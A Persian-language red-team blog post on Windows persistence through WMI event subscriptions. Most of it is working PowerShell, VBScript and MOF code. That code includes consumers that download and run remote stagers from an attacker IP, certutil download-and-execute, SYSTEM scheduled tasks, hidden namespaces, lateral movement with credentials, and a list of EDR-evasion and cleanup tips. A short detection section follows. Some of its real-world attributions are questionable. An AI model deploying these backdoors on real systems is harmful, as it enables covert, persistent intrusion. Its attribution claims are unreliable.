persistence در ویندوز با WMI
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۴/۹
۱. معماری WMI
Windows Management Instrumentation یک framework بومی ویندوز است که internals سیستم را از طریق کلاسهای قابل query در معرض دید میگذارد. WMI بر پایه استاندارد CIM (Common Information Model) ساخته شده و با زبان WQL (WMI Query Language) که شبیه SQL است interact میشود.
لایههای معماری WMI
┌─────────────────────────────────────────────┐
│ WMI Consumers / Clients │
│ (PowerShell, wmic.exe, scripts, C++) │
├─────────────────────────────────────────────┤
│ WMI API Layer │
│ (COM / DCOM / WinRM / MI) │
├─────────────────────────────────────────────┤
│ WMI Service (winmgmt) │
│ ┌──────────────┐ ┌────────────────────┐ │
│ │ Query Engine │ │ Event Subscription │ │
│ │ (WQL) │ │ Engine │ │
│ └──────────────┘ └────────────────────┘ │
├─────────────────────────────────────────────┤
│ CIM Repository │
│ %SystemRoot%\System32\wbem\Repository │
│ (OBJECTS.DATA / INDEX.BTR / MAPPING*) │
├─────────────────────────────────────────────┤
│ WMI Providers (.dll) │
│ Win32, Registry, Perf, Security, ... │
└─────────────────────────────────────────────┘
فایلهای کلیدی
| مسیر | توضیح |
|---|---|
%windir%\System32\wbem\Repository\OBJECTS.DATA |
پایگاه داده اصلی CIM – اینجاست که subscriptionها persist میشوند |
%windir%\System32\wbem\Repository\INDEX.BTR |
ایندکس B-tree مربوط به OBJECTS.DATA |
%windir%\System32\wbem\*.mof |
فایلهای MOF پیشنصب شده |
%windir%\System32\wbem\wbemcore.dll |
هسته اصلی WMI service |
نکته مهم برای Red Team: تمام WMI subscriptionها در
OBJECTS.DATAذخیره میشوند و با ریستارت سیستم مجدداً load میشوند – این همان مکانیزم persistence است.
۲. موتور WMI
WMI Service (winmgmt)
سرویس winmgmt که زیر svchost.exe اجرا میشود، مسئول موارد زیر است:
- مدیریت CIM Repository
- پردازش WQL queryها
- اجرای Event Subscription Engine
- ارتباط با WMI Providerها
Event Subscription Engine – قلب Persistence
این موتور سه نوع event را handle میکند:
| نوع Event | کلاس پایه | مثال |
|---|---|---|
| Intrinsic | __InstanceCreationEvent |
ساخته شدن یک process جدید |
| Intrinsic | __InstanceModificationEvent |
تغییر در یک رجیستری key |
| Intrinsic | __InstanceDeletionEvent |
حذف یک فایل یا object |
| Extrinsic | Win32_VolumeChangeEvent |
اتصال USB drive |
| Timer | __TimerEvent |
اجرا در بازه زمانی مشخص |
Consumerهای built-in
| Consumer Class | کار |
|---|---|
CommandLineEventConsumer | اجرای یک command line |
ActiveScriptEventConsumer | اجرای VBScript / JScript |
LogFileEventConsumer | نوشتن در یک فایل log |
NTEventLogEventConsumer | نوشتن در Event Log |
SMTPEventConsumer | ارسال ایمیل |
برای Red Team، دو consumer اول بیشترین کاربرد را دارند.
۳. WMI Permanent Event Subscription
سه رکن اصلی
| Component | Class | نقش |
|---|---|---|
| Event Filter | __EventFilter |
شرط trigger شدن – چه زمانی؟ |
| Event Consumer | CommandLineEventConsumer و غیره |
عمل اجرایی – چه کاری؟ |
| Binding | __FilterToConsumerBinding |
اتصال filter به consumer |
مثال ۱: Trigger شدن با باز شدن notepad.exe
# ─── Step 1: Event Filter ───────────────────────────────────────────────────
$FilterArgs = @{
EventNamespace = 'root/CIMV2'
Name = 'NotepadWatcher'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
"WHERE TargetInstance ISA 'Win32_Process' " +
"AND TargetInstance.Name = 'notepad.exe'"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root\subscription `
-Class __EventFilter `
-Arguments $FilterArgs
# ─── Step 2: Event Consumer ─────────────────────────────────────────────────
$Command = 'powershell.exe -NoP -W Hidden -Command ' +
'"IEX (IWR http://10.0.2.15:1337/stager.ps1 -UseBasicParsing)"'
$ConsumerArgs = @{
Name = 'NotepadConsumer'
CommandLineTemplate = $Command
RunInteractively = $false
}
$Consumer = Set-WmiInstance -Namespace root\subscription `
-Class CommandLineEventConsumer `
-Arguments $ConsumerArgs
# ─── Step 3: Binding ────────────────────────────────────────────────────────
Set-WmiInstance -Namespace root\subscription `
-Class __FilterToConsumerBinding `
-Arguments @{ Filter = $Filter; Consumer = $Consumer }
مثال ۲: Timer-Based Persistence
# هر 60 دقیقه یکبار اجرا میشود
$TimerFilter = Set-WmiInstance -Namespace root\subscription `
-Class __EventFilter `
-Arguments @{
Name = 'HourlyTimer'
EventNamespace = 'root/CIMV2'
Query = "SELECT * FROM __TimerEvent WHERE TimerID='HourlyCheck'"
QueryLanguage = 'WQL'
}
Set-WmiInstance -Namespace root\subscription `
-Class __IntervalTimerInstruction `
-Arguments @{
TimerID = 'HourlyCheck'
IntervalBetweenEvents = 3600000
}
$TimerConsumer = Set-WmiInstance -Namespace root\subscription `
-Class CommandLineEventConsumer `
-Arguments @{
Name = 'HourlyBeacon'
CommandLineTemplate = 'powershell.exe -NoP -W Hidden -EncodedCommand <BASE64>'
RunInteractively = $false
}
Set-WmiInstance -Namespace root\subscription `
-Class __FilterToConsumerBinding `
-Arguments @{ Filter = $TimerFilter; Consumer = $TimerConsumer }
مثال ۳: ActiveScriptEventConsumer – اجرای VBScript
$ScriptBody = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -NoP -W Hidden -Command IEX(IWR 'http://10.0.2.15/p.ps1')", 0, False
'@
$Consumer = Set-WmiInstance -Namespace root\subscription `
-Class ActiveScriptEventConsumer `
-Arguments @{
Name = 'VBSConsumer'
ScriptingEngine = 'VBScript'
ScriptText = $ScriptBody
}
مزیت VBScript consumer: فرآیند فرزند مستقیماً از
scrcons.exeاجرا میشود نه ازWmiPrvSE.exe، که برخی EDRهای قدیمیتر را confuse میکند.
۴. MOF Files – روش پنهانتر
چرا MOF؟
Managed Object Format یک رویکرد جایگزین برای ایجاد WMI subscription است که مزای زیر را دارد:
- Offline preparation: فایل MOF را میتوان از قبل روی attacker machine نوشت
- Evasion: بسیاری از ابزارهای enumeration معمولی subscriptionهای ایجادشده از طریق MOF را بهدرستی نشان نمیدهند
- Legibility: ساختار declarative دارد – مستقیماً CIM class instance تعریف میکند
ساختار MOF فایل
// ─── example_persist.mof ─────────────────────────────────────────────────
#PRAGMA NAMESPACE("\\\\.\\root\\subscription")
#PRAGMA AUTORECOVER
instance of CommandLineEventConsumer as $Cons
{
Name = "SvcUpdate";
RunInteractively = FALSE;
CommandLineTemplate = "powershell.exe -NoP -W Hidden "
"-EncodedCommand <BASE64_PAYLOAD>";
};
instance of __EventFilter as $Filt
{
Name = "SvcUpdateFilter";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 3 "
"WHERE TargetInstance ISA \"Win32_Process\" "
"AND TargetInstance.Name = \"notepad.exe\"";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
Filter = $Filt;
Consumer = $Cons;
};
کامپایل روی سیستم قربانی
mofcomp.exe .\example_persist.mof
ترفند #PRAGMA AUTORECOVER
با افزودن این pragma، ویندوز مسیر MOF فایل را در رجیستری ثبت میکند:
HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\autorecover mofs
اگر Repository خراب شود و rebuild شود، سیستم این MOF را مجدداً اجرا میکند. این یعنی persistence حتی در سناریوی خرابی Repository هم دوام میآورد.
۵. تکنیکهای پیشرفته Persistence
5.1 Namespace Hiding
به جای استفاده از root\subscription استاندارد، میتوان یک namespace سفارشی و مخفی ایجاد کرد:
$NS = Set-WmiInstance -Namespace root -Class __Namespace `
-Arguments @{ Name = 'StandardLibrary' }
Set-WmiInstance -Namespace root\StandardLibrary `
-Class __EventFilter ...
5.2 Living off the Land – بدون PowerShell
instance of CommandLineEventConsumer as $Cons
{
Name = "WinUpdate";
CommandLineTemplate =
"cmd.exe /c certutil -urlcache -split -f "
"http://10.0.2.15/update.exe %TEMP%\\svc.exe && %TEMP%\\svc.exe";
};
5.3 ترکیب WMI با Registry Persistence
$ScriptText = @'
Dim oShell, oReg
Set oShell = CreateObject("WScript.Shell")
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
"." & "\root\default:StdRegProv")
oReg.SetStringValue &H80000001, _
"Software\Microsoft\Windows\CurrentVersion\Run", _
"WindowsUpdate", _
"powershell.exe -NoP -W H -EncodedCommand <B64>"
oShell.Run "powershell.exe -NoP -W H -EncodedCommand <B64>", 0, False
'@
5.4 WMI + Scheduled Task (Double Persistence)
$ConsumerArgs = @{
Name = 'TaskCreator'
CommandLineTemplate =
'schtasks /create /tn "WindowsDefenderUpdate" ' +
'/tr "powershell.exe -NoP -W H -EncodedCommand <B64>" ' +
'/sc ONLOGON /ru SYSTEM /f'
RunInteractively = $false
}
5.5 Lateral Movement با WMI
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'DOMAIN\Admin'
$Options.Password = 'P@ssword'
$Options.EnablePrivileges = $true
$Scope = New-Object Management.ManagementScope("\\TARGET\root\cimv2", $Options)
$Scope.Connect()
$Process = [wmiclass]"\\TARGET\root\cimv2:Win32_Process"
$Process.Create("powershell.exe -NoP -W H -EncodedCommand <B64>")
5.6 پاکسازی اثرات (Cleanup)
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Where-Object { $_.Name -eq 'NotepadWatcher' } | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
Where-Object { $_.Name -eq 'NotepadConsumer' } | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Remove-WmiObject
۶. Detection
6.1 Artifacts در سیستم
| Artifact | مکان | ابزار بررسی |
|---|---|---|
| Subscription objects | CIM Repository (OBJECTS.DATA) |
wmic, PowerShell, Sysinternals Autoruns |
| MOF compile log | Event Log: Microsoft-Windows-WMI-Activity/Operational |
Event Viewer |
| Sysmon Events | Event Log | Sysmon |
| Process spawn | WmiPrvSE.exe → child process |
EDR / Sysmon |
6.2 Sysmon Event IDs مرتبط
| Event ID | توضیح |
|---|---|
| 19 | WmiEventFilter – ثبت یک Event Filter جدید |
| 20 | WmiEventConsumer – ثبت یک Consumer جدید |
| 21 | WmiEventConsumerToFilter – ثبت Binding |
| 1 | فرآیند spawned شده از WmiPrvSE.exe |
6.3 PowerShell Enumeration برای Defender
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root -Class __Namespace | Select-Object Name
autorunsc.exe -accepteula -a w
6.4 ابزارهای تخصصی
- Kansa – PowerShell-based incident response که WMI subscriptionها را enumerate میکند
- Invoke-WMIBackdoor (PowerSploit) – برای test محیط Red Team
- Get-WMIPersistence (PowerForensics)
- WMIExplorer – GUI برای مشاهده CIM Repository
6.5 Red Team Evasion Tips
- از نامهای فریبنده استفاده کن:
WindowsDefender,SvcUpdate,WMIProvider RunInteractively = FALSEرا همیشه set کن- از
EncodedCommandبه جای plaintext PowerShell استفاده کن - Namespace سفارشی بساز تا از enumeration ابزارهای استاندارد فرار کنی
- بعد از استقرار implant اصلی، subscription را پاک کن
- مقدار WITHIN را روی اعداد کوچک (3-5 ثانیه) در production نگذار – خیلی noisy است
۷. MITRE ATT&CK Mapping
| تکنیک | ID | توضیح |
|---|---|---|
| WMI Event Subscription | T1546.003 | Persistence اصلی از طریق subscription |
| WMI | T1047 | Lateral Movement / Execution |
| LOLBAS – mofcomp.exe | T1218 | کامپایل MOF بدون نیاز به ابزار خارجی |
| Obfuscated Files | T1027 | EncodedCommand در CommandLineTemplate |
نمونههای واقعی
| عملیات | روش |
|---|---|
| SUNBURST (SolarWinds 2020) | WMI subscription برای persistence در محیطهای enterprise |
| Unit 8200 / Stuxnet | MOF-based WMI persistence از سال 2007 |
| APT29 / Cozy Bear | WMI برای lateral movement در شبکههای دولتی |
نتیجهگیری
WMI یکی از قدرتمندترین مکانیزمهای persistence در ویندوز است به چند دلیل:
- Ubiquitous – روی تمام نسخههای ویندوز موجود است
- High-privilege – با سطح دسترسی SYSTEM اجرا میشود
- Stealthy – در فایل باینری
OBJECTS.DATAذخیره میشود، نه رجیستری - Resilient – با reboot از بین نمیرود
برای یک Red Teamer، ترکیب WMI subscription + MOF AUTORECOVER + namespace hiding یک persistence layer بسیار مقاوم ایجاد میکند که شناسایی آن بدون ابزار تخصصی مثل Sysmon دشوار است.